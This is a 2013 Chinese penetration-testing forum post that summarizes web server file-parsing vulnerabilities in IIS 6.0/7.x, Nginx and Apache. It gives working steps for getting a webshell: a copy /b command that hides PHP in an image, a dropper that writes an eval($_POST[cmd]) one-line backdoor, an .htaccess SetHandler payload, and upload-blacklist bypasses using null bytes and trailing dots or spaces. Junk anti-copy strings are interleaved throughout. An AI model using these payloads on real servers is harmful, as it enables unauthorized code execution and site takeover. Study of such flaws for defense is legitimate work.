中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
; _5 w" M6 Z! z- V3 T& B- a
[+]IIS6.0
~) n/ R& Y9 _$ s: a* a: I0 M( u
, ~2 @7 ~6 w- c
目录解析:/xx.asp/xx.jpg
! z" P- q( A/ S P2 Z' \: ^- s
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
) H& K! L, r9 E/ h! |3 `0 [
IIS6.0 会将 xx.jpg 解析为 asp 文件。
! r- s2 ?- Y6 _0 D
后缀解析:/xx.asp;.jpg
- D, T0 I# _2 C
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
& L9 v+ p, o" J3 P# F
默认解析:/xx.asa
; [5 s$ O# u& n7 o+ {
/xx.cer
7 S- |7 _" T) P4 K1 y! n+ W
/xx.cdx
- [5 H8 [& X3 W; _3 B6 H! P m) s& q8 C
IIS6.0 默认的可执行文件除了 asp 还包含这三种
' S$ |- f. V$ [4 g" r* F
此处可联系利用目录解析漏洞
% U4 i! e- E2 l( k" E+ |7 |
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
+ k6 j, s* R' a; v1 z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
# `8 t+ V8 ?$ w, r
, D% r. a5 A1 e6 J
IIS 7.0/IIS 7.5/Nginx <0.8.03
$ V- N1 h; {) s4 z; w
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
7 |4 |* q6 _1 `; |* ?- K
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
- P9 l; u8 R. q' p8 m$ v+ v2 j
常用利用方法:
- ~/ ]9 `, x' p. J' O2 j1 t
将一张图和一个写入后门代码的文本文件合并将恶意文本
5 m' g' V: p# x0 V# a U
写入图片的二进制代码之后,避免破坏图片文件头和尾
7 E9 \' s4 V/ A8 @% H. [5 [0 a! ?
如:
$ G0 ?% { ~6 [8 H/ \4 n- E
copy xx.jpg /b + yy.txt/a xy.jpg
+ p% }4 }( P( U4 x. @' N$ ?
#########################################################
: f6 m- T6 h6 w& [, m0 k
/b 即二进制[binary]模式
6 @$ i6 f& p+ T: E% B
/a 即ascii模式
" p# k, J. h' t, z2 Y# m- f/ [4 ]- \
xx.jpg 正常图片文件
; a3 n0 S/ \; `: ]
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
" h* \5 h$ @; v1 r) d! }4 L
'<?php eval($_POST[cmd])?>');?>
: q' P- M) V& @9 G# r0 Z! ^
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
2 A, \! Z: p2 Y( O% S7 ]
为shell.php的文件
/ p" W4 x. p% Y% c, K! W4 q1 {
###########################################################
3 N a- g- x% |. H6 d
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
/ L" ^8 U' X v; j! ~
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
8 O2 V2 ~+ C3 y3 I7 Q7 Z
密码 cmd
' i3 G# W0 n( O/ q( D( y' j1 ]5 L! f
[+]Nginx <0.8.03
% B$ }9 q3 ~, B3 s5 U& T4 E
7 p3 C! U/ m* v7 j
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
! t5 }% q8 n2 ~, i/ H! u! M2 k
在一个文件路径(/xx.jpg)后面加上%00.php
6 j. A/ H' Q% J6 ?9 z5 ~
会将 /xx.jpg%00.php 解析为 php 文件。
) K: m5 H9 b2 f" A0 m/ c
[+]Apache<0.8.03
9 ~( e2 M' A8 d; w9 X% _9 u9 F
" \& S4 q3 [: Z& ~
后缀解析:test.php.x1.x2.x3
7 y, R$ ^8 Q( y' c: F2 i+ X6 Q
Apache将从右至左开始判断后缀,若x3非可识别后缀,
: m7 L8 l" s6 j9 O
再判断x2,直到找到可识别后缀为止,然后将该可识别
6 m) u" H) h& C' k! V# a4 X1 W
后缀进解析test.php.x1.x2.x3 则会被解析为php
: t+ n8 X, h) o
经验之谈:php|php3|phtml 多可被Apache解析。
: |' Q0 @- ?5 Y
[+]其他一些可利用的
' ~0 p/ ~4 |2 M# D3 }# M
, z3 z: ]; S2 k4 t8 O9 y7 ?/ e
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
4 d/ c0 N. I3 p9 L- m0 A
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
* G: K2 H' Y7 N
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
- K- n \5 T9 {5 b# L) ^4 Q
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
% q0 b2 O& U; d$ ~3 a* Y. |) E
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
b7 m% _, y$ x/ D0 h
{Linux主机中不行,Linux允许这类文件存在}
* X. ^5 Q; k9 @) G! q2 i' o5 }) V. q
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
8 w6 t! P4 a. p1 r9 l# E7 F1 N
的,当初我并不知道),且可以被上传,那可以尝试在
; A- J/ v: k' [" _9 e2 C, u
.htaccess中写入:
+ J8 |. v9 ^% E1 h. w
<FilesMatch “shell.jpg”>
Z4 b! _$ n9 F X! Z
SetHandler application/x-httpd-php
8 ^' O, p; j/ K; K W
</FilesMatch>
8 L1 k6 M- ^5 R* K" J
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
, r$ n- J ]' A7 S# u
[+]错误修改
" r! o7 |$ b! `9 I( _: T# D
6 X6 b3 f* F# g( l; z5 G+ \
在 IIS 6.0 下可解析 /xx.asp:.jpg
( O5 ?5 W" l) O+ j/ j
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
+ a$ p3 u$ f h- B i
剩下/xx.asp}修改:
! h1 T9 H( n+ j
先谢谢核攻击的提醒
0 S5 B7 i+ Z( ] q) c# E& N9 x. p4 X
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ [; I& j8 v' N7 N
里是没有任何内容的,因为。。不好解释 大家自己看
# X6 ^1 ^8 o. O$ ?/ m
http://lcx.cc/?i=2448
1 f) O0 c1 d9 `2 p
http://baike.baidu.com/view/3619593.htm
3 V& m9 {/ O# ~8 o" ]8 d1 B1 L- l, C8 m
3 f' J: ]7 y2 K( b0 H
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2